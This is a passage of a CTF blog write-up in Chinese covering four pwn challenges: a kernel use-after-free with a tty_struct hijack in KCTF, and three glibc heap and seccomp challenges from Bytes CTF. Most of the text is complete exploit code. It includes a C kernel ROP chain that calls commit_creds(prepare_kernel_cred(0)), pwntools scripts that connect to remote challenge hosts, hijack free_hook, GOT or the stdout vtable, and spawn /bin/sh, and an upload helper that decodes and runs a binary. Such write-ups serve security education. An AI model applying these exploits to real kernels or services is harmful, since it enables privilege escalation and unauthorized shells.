美文网首页CTF Re&&PwnCTF-PWN学渣工具
Some PWN in KCTF Q3 && Bytes CTF

Some PWN in KCTF Q3 && Bytes CTF

作者: Kirin_say | 来源:发表于2019-09-25 20:27 被阅读0次

    只记录几个有意思的,常规的就不写了

    KCTF Q3: 绝地反击

    First Blood, Happy

    First Blood

    qemu_cmd:

    qemu-system-x86_64 -s -m 256M \
        -nographic -kernel $bzImage_dir \
        -append 'root=/dev/ram rw console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
        -monitor /dev/null -initrd $cpio_dir \
        -smp cores=2,threads=2  \
        -cpu kvm64,+smep,+smap 
    

    内核存在smep,smap和kalsr保护
    漏洞比较明显,在ioctl的0x133d操作中存在uaf
    不过只能申请0x400大小的heap
    首先想到可以通过UAF,kfree掉一个0x400大小的chunk后,打开一个tty设备,此时tty_struct即可分配到此chunk,以此来leak堆地址和内核加载基址
    而后利用上,首先存在smep和smap保护
    所以不能直接迁移栈到用户空间,考虑直接在内核空间提权
    尝试过tty所有option后选择write操作
    write操作前,数据会被copy到内核空间且数据指针在栈上:

    stack:
    function return address
    (ptr *)data writed to tty
    

    此时只需要一个pop rsp的操作即可迁移栈,且迁移后栈内数据即是write的数据,直接利用rop链调用commit_creds(prepare_kernel_cred(0))并返回用户态即可完成提权:
    A magic target in kernel:

    .text:FFFFFFFF811751F3                 pop     rcx
    .text:FFFFFFFF811751F4                 or      eax, 415BFFF4h
    .text:FFFFFFFF811751F9                 pop     rsp
    .text:FFFFFFFF811751FA                 pop     rbp
    .text:FFFFFFFF811751FB                 retn
    

    EXP:

    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <sched.h>
    #include <errno.h>
    #include <pty.h>
    #include <sys/mman.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <sys/syscall.h>
    #include <fcntl.h>
    #include <sys/ioctl.h>
    #include <sys/ipc.h>
    #include <sys/sem.h>
    #include <signal.h>
    #define KERNCALL __attribute__((regparm(3)))
    #define _GNU_SOURCE
    //just for debug
    /*struct _tty_operations {
        struct tty_struct * (*lookup)(struct tty_driver *driver,
                struct inode *inode, int idx);
        int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
        void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
        int  (*open)(struct tty_struct * tty, struct file * filp);
        void (*close)(struct tty_struct * tty, struct file * filp);
        void (*shutdown)(struct tty_struct *tty);
        void (*cleanup)(struct tty_struct *tty);
        int  (*write)(struct tty_struct * tty,
                  unsigned char *buf, int count);
        int  (*put_char)(struct tty_struct *tty, unsigned char ch);
        void (*flush_chars)(struct tty_struct *tty);
        int  (*write_room)(struct tty_struct *tty);
        int  (*chars_in_buffer)(struct tty_struct *tty);
        int  (*ioctl)(struct tty_struct *tty,
                unsigned int cmd, unsigned long arg);
        long (*compat_ioctl)(struct tty_struct *tty,
                     unsigned int cmd, unsigned long arg);
        void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
        void (*throttle)(struct tty_struct * tty);
        void (*unthrottle)(struct tty_struct * tty);
        void (*stop)(struct tty_struct *tty);
        void (*start)(struct tty_struct *tty);
        void (*hangup)(struct tty_struct *tty);
        int (*break_ctl)(struct tty_struct *tty, int state);
        void (*flush_buffer)(struct tty_struct *tty);
        void (*set_ldisc)(struct tty_struct *tty);
        void (*wait_until_sent)(struct tty_struct *tty, int timeout);
        void (*send_xchar)(struct tty_struct *tty, char ch);
        int (*tiocmget)(struct tty_struct *tty);
        int (*tiocmset)(struct tty_struct *tty,
                unsigned int set, unsigned int clear);
        int (*resize)(struct tty_struct *tty, struct winsize *ws);
        int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
        int (*get_icount)(struct tty_struct *tty,
                    struct serial_icounter_struct *icount);
        struct file_operations *proc_fops;
    };*/
    long int  data[0x400];
    void add(int fd){
        ioctl(fd,0x1336);
    }
    void set_dead(int fd,long int index){
        ioctl(fd,0x1338,index);
    }
    void set_alive(int fd,long int index){
        ioctl(fd,0x1339,index);
    }
    void set(int fd,long int dest,long int src){
        long int arg[2]={src,dest};
        ioctl(fd,0x1337,arg);
    }
    void fake(int fd,long int arg1,long int arg2,long int arg3){
        long int arg[3]={arg1,arg2,arg3};
        ioctl(fd,0x133d,arg);
    }
    void leak(int fd,long int index,long int size){
        long int arg[3]={index,data,size};
        ioctl(fd,0x133b,arg);
    }
    void edit(int fd,long int index,long int *user,long int size){
        long int arg[3]={index,user,size};
        ioctl(fd,0x133a,arg);
    }
    void info(){
         for(int i=0;i<=60;i++){
         printf("%016llx  |  %016llx\n",data[2*i],data[2*i+1]);
         }
    }
    void shell(){
        system("/bin/sh");
    }
    unsigned long user_cs, user_ss, user_eflags,user_sp ;
    void save_status() {
        asm(
            "movq %%cs, %0\n"
            "movq %%ss, %1\n"
            "movq %%rsp, %3\n"
            "pushfq\n"
            "popq %2\n"
            :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
            :
            : "memory"
        );
    }
    int fd,fd2;
    long int heap_addr,kernel_base,fake_tty_op;
    void leak_addr(){
       fd=open("/dev/kpwn",0);
       add(fd);
       add(fd);
       add(fd);
       add(fd);
       set_dead(fd,0);
       set(fd,3,0);
       set_alive(fd,0);
       set_dead(fd,1);
       fake(fd,1,0,3);
       leak(fd,3,0x200);
       heap_addr=data[0];
       printf("[*]heap addr=0x%llx\n",heap_addr);
       fd2=open("/dev/ptmx",1);
       leak(fd,3,0x300);
       kernel_base=(data[76]-0x17a820);
       printf("[*]kernel addr=0x%llx\n",kernel_base);
       fake_tty_op=heap_addr+0x400;
       printf("[*]fake tty op=0x%llx\n",fake_tty_op);
    }
    void exploit(){
       add(fd);
       set(fd,4,0);
       long int magic=kernel_base+0x1751f3;
       long int user_data[30];
       for(int i=0;i<20;i++){
          user_data[i]=magic;
       }
       edit(fd,4,user_data,0x100);
       user_data[0]=data[0];
       user_data[1]=data[1];
       user_data[2]=data[2];
       user_data[3]=fake_tty_op;
       edit(fd,3,user_data,0x20);
       int i=0;
       user_data[i++]=0;
       user_data[i++]=kernel_base+0x118fab;//pop_rdx_rdi
       user_data[i++]=0;
       user_data[i++]=0;
       user_data[i++]=kernel_base+0x4f050;//commit_creds(prepare_kernel_cred(0))
       user_data[i++]=kernel_base+0x1ed3e;//xor pop ret
       user_data[i++]=0;
       user_data[i++]=kernel_base+0x10f29f;
       user_data[i++]=0;
       user_data[i++]=kernel_base+0x4f210;
       user_data[i++]=kernel_base+0x200c2e;//swapgs;popfq;pop rbp;ret
       user_data[i++]=0x246;
       user_data[i++]=0;
       user_data[i++]=kernel_base+0x1a306;
       user_data[i++]=shell;
       user_data[i++]=user_cs;
       user_data[i++]=user_eflags;
       user_data[i++]=user_sp;
       user_data[i++]=user_ss;
       write(fd2,user_data,0xb0);
    }
    int main(){
       save_status();
       signal(SIGSEGV, shell);
       leak_addr();
       exploit();
    }
    //gcc ./exp.c --static
    //find . | cpio -o -H  newc  > ../kirin.cpio
    //upload:
    //def upload():
    //    with open("exp.zip", "rb") as f:
    //        data = f.read()
    //    encoded = base64.b64encode(data)
    //    for i in range(0, len(encoded), 300):
    //        #print("%d / %d" % (i, len(encoded)))
    //        print("echo \"%s\" >> tmp" % (encoded[i:i+300]))        
    //    print("cat tmp | base64 -d > exp.zip")    
    //    print("unzip ./exp.zip")
    //    print("chmod +x ./exp")
    //    print("./exp")
    //upload()
    
    PWN

    Bytes CTF: vip

    程序在become_vip过程中会载入seccomp规则
    且此函数在read name时存在溢出,可以覆盖seccomp规则
    同时在edit中可以看到:

    ssize_t __fastcall edit(void *a1, int a2)
    {
      int fd; // [rsp+1Ch] [rbp-4h]
    
      if ( dword_4040E0 )
        return read(0, a1, a2);
      fd = open("/dev/urandom", 0);
      if ( fd == -1 )
        exit(0);
      return read(fd, a1, a2);
    }
    

    因此想到让open返回0来绕过read(fd, a1, a2),来使edit内容可控
    因此选择覆盖的seccomp规则:

    A = args[1]
    A &= 0xffff
    A == 0x207e ? ok:next
    return ALLOW
    ok:
    return ERRNO(0)
    #seccomp-tools asm ./kirin.asm
    

    判断第一个参数的值来控制返回操作,在open("/dev/urandom", 0);时,第一个参数为"/dev/urandom"字符串地址:

    000000000040207E file            db '/dev/urandom',0 
    

    这样即可使fd返回为0,控制edit内容(起初想直接判断sys_number是否为openat,这样虽然也可以成功控制,但是在最后执行system("/bin/sh")时候会失败)
    edit可控后便是正常的堆溢,修改free_hook为&system,即可最后get shell

    EXP:

    from pwn import *
    
    context.log_level="debug"
    def add(index):
        p.sendlineafter(": ","1")
        p.sendlineafter(": ",str(index))
    def delete(index):
        p.sendlineafter(": ","3")
        p.sendlineafter(": ",str(index))
    def edit(index,size,note):
        p.sendlineafter(": ","4")
        p.sendlineafter(": ",str(index))
        p.sendlineafter("Size: ",str(size))
        p.sendafter(": ",note)
    def show(index):
        p.sendlineafter(": ","2")
        p.sendlineafter(": ",str(index))
    #p=process("./vip")
    p=remote("112.126.103.14",9999)
    payload=" \x00\x00\x00\x18\x00\x00\x00T\x00\x00\x00\xFF\xFF\x00\x00\x15\x00\x01\x00~ \x00\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x05\x00"
    p.sendlineafter(": ","6")
    p.sendafter("name: \n","a"*0x20+payload)
    #p.interactive()
    add(0)
    add(1)
    add(5)
    for i in range(20):
       add(2)
    edit(0,0x80,"a"*0x10*5+p64(0)+p64(0x60*16+1))
    delete(1)
    add(3)
    show(3)
    libc_addr=u64(p.recv(6)+"\x00\x00")-0x7fc35edea110+0x7fc35e9fe000
    print hex(libc_addr)
    add(4)
    add(6)
    add(7)
    add(8)
    delete(6)
    delete(7)
    delete(8)
    delete(4)
    edit(5,16,p64(libc_addr+0x3ed8e8))
    add(2)
    add(2)
    edit(2,16,p64(libc_addr+0x4f440))
    add(6)
    edit(6,40,"/bin/sh\x00")
    #gdb.attach(p)
    delete(6)
    p.interactive()
    

    Bytes CTF: mheap

    首先程序自身实现了简单的malloc和free功能
    结构为chunk_size+chunk_ptr+user_data
    首先可以知道覆盖掉chunk_ptr即可类似fastbin attack将chunk分配到有合法地址的位置
    漏洞比较明显,在read输入的过程中:

    __int64 __fastcall read_note(__int64 a1, signed int a2)
    {
      __int64 result; // rax
      unsigned int v3; // [rsp+18h] [rbp-8h]
      int v4; // [rsp+1Ch] [rbp-4h]
    
      v3 = 0;
      do
      {
        result = v3;
        if ( (signed int)v3 >= a2 )
          break;
        v4 = read(0, (void *)(a1 + (signed int)v3), (signed int)(a2 - v3));
        if ( !v4 )
          exit(0);
        v3 += v4;
        result = *(unsigned __int8 *)((signed int)v3 - 1LL + a1);
      }
      while ( (_BYTE)result != 10 );
      return result;
    }
    

    这里只判断返回是否为0,没有判断返回错误(-1)的状态
    导致可以向预期指针的前方写入数据
    选择直接分配chunk到边界,这时候由于size没有严格的check,导致chunk到最后可以分配超过mmap的地址,这时候read过程中由于地址没有写权限(没被分配的非法地址)从而返回-1,而后即可向前修改掉一个free掉的chunk的指针,将其指向note_list(其中有合法size),即可任意地址读写,修改GOT['atoi']指向&system即可在输入"/bin/sh"时get shell

    EXP:

    from pwn import *
    import time
    def add(index,size,note):
       p.sendlineafter(": ","1")
       p.sendlineafter(": ",str(index))
       p.sendlineafter(": ",str(size))
       p.sendafter(": ",note)
    def show(index):
       p.sendlineafter(": ","2")
       p.sendlineafter(": ",str(index))
    def delete(index):
       p.sendlineafter(": ","3")
       p.sendlineafter(": ",str(index))
    def edit(index,note):
       p.sendlineafter(": ","4")
       p.sendlineafter(": ",str(index))
       p.send(note)
    context.log_level="debug"
    #p=process("./mheap")
    p=remote("112.126.98.5",9999)
    add(0,0xf90,"kirin\n")
    add(1,1,"a")
    delete(1)
    add(2,0x50,p64(0x4040e3)*10+"\x00\x00\x00\x00\x00\x00\x00\n")
    add(0,0x10,"aaaa\n")
    add(0,0x10,"aaaaa"+p64(0x404050)+"\n")
    show(3)
    libc=u64(p.recv(6)+"\x00\x00")-0x40680
    edit(3,p64(libc+0x4f440)+"\n")
    p.sendlineafter(": ","/bin/sh")
    #gdb.attach(p)
    p.interactive()
    

    Bytes CTF: notefive

    程序在read输入时存在逻辑漏洞导致输入可以比参数大一字节造成off by one:

    __int64 __fastcall read_note(__int64 a1, signed int a2, char a3)
    {
      __int64 result; // rax
      char v4; // [rsp+0h] [rbp-20h]
      unsigned __int8 buf; // [rsp+13h] [rbp-Dh]
      unsigned int i; // [rsp+14h] [rbp-Ch]
      unsigned __int64 v7; // [rsp+18h] [rbp-8h]
    
      v4 = a3;
      v7 = __readfsqword(0x28u);
      for ( i = 0; ; ++i )
      {
        result = i;
        if ( (signed int)i > a2 )
          break;
        if ( (signed int)read(0, &buf, 1uLL) <= 0 )
        {
          puts("read error");
          exit(0);
        }
        result = buf;
        if ( buf == v4 )
          break;
        *(_BYTE *)(a1 + (signed int)i) = buf;
      }
      return result;
    }
    

    同时在add过程中size要求:

    size > 0x8F && size <= 1024
    

    因此选择首先利用off by one来构造堆重叠进行unsortedbin attack,修改掉global_max_fast
    而后由于size需要打印0x8F且程序本身没有show操作,只能在stderr靠近stdout的位置找到一个合法size,"\xFF"
    这样delete一个0xe8大小的chunk,而后利用堆重叠修正其fd指针
    即可将chunk分配到stdout附近,覆盖掉flags和_IO_write_base低字节来造成程序leak出一段存在libc地址的数据
    leak之后再用相同方法分配chunk到stdout尾部覆盖vtable为写满one_target的一段位置即可在输出时get shell:

    EXP:

    #需要爆破4bits global_max_fast的地址
    from pwn import *
    
    context.log_level="debug"
    def add(index,size):
        p.sendlineafter(">> ","1")
        p.sendlineafter(": ",str(index))
        p.sendlineafter(": ",str(size))
    def delete(index):
        p.sendlineafter(">> ","3")
        p.sendlineafter(": ",str(index))
    def edit(index,note):
        p.sendlineafter(">> ","2")
        p.sendlineafter(": ",str(index))
        p.sendafter(": ",note)
    for i in range(100):
      try:
        p=remote("112.126.103.195",9999)
        add(0,0xf8)
        add(1,0xf8)
        add(2,0xe8)
        add(3,0xe8)
        add(4,0xe8)
        delete(3)
        add(3,0xe8)
        add(4,0xe8)
        edit(0,"a"*0xf0+p64(0x200)+"\xf1")
        delete(1)
        add(1,0xf8)
        edit(2,"a"*8+"\xe8\x37"+"\n")
        add(1,0xe8)
        delete(1)
        edit(2,"\xcf\x25\n")
        add(1,0xe8)
        add(0,0xe8)
        edit(0,"a"+p64(0)*7+p64(0xf1)+p64(0xfbad1887)+p64(0)*3+"\x00"+"\n")
        p.recvuntil("\x7f\x00\x00")
        libc=u64(p.recv(8))-0x7ffff7dd26a3+0x7ffff7a0d000
        print hex(libc)
        delete(1)
        edit(2,p64(libc+0x7ffff7dd26af-0x7ffff7a0d000)+"\n")
        add(0,0xe8)
        add(1,0xe8)
        payload="a"+p64(libc-0x7ffff7a0d000+0x00007ffff7dd17a0)
        payload+=p64(0)*3+p64(0xffffffff)+p64(0)*2+p64(libc-0x7ffff7a0d000+0x7ffff7dd2720)
        payload+=p64(libc-0x7ffff7a0d000+0x00007ffff7dd2540)+p64(libc-0x7ffff7a0d000+0x00007ffff7dd2620)+p64(libc-0x7ffff7a0d000+0x00007ffff7dd18e0)+p64(libc-0x7ffff7a0d000+0x00007ffff7a2db70)
        payload+=p64(libc+0xf1147)*16+"\n"
        edit(1,payload)
        #gdb.attach(p)
        p.interactive()
      except:
         print i
    

    相关文章

      网友评论

        本文标题:Some PWN in KCTF Q3 && Bytes CTF

        本文链接:https://www.haomeiwen.com/subject/wuewuctx.html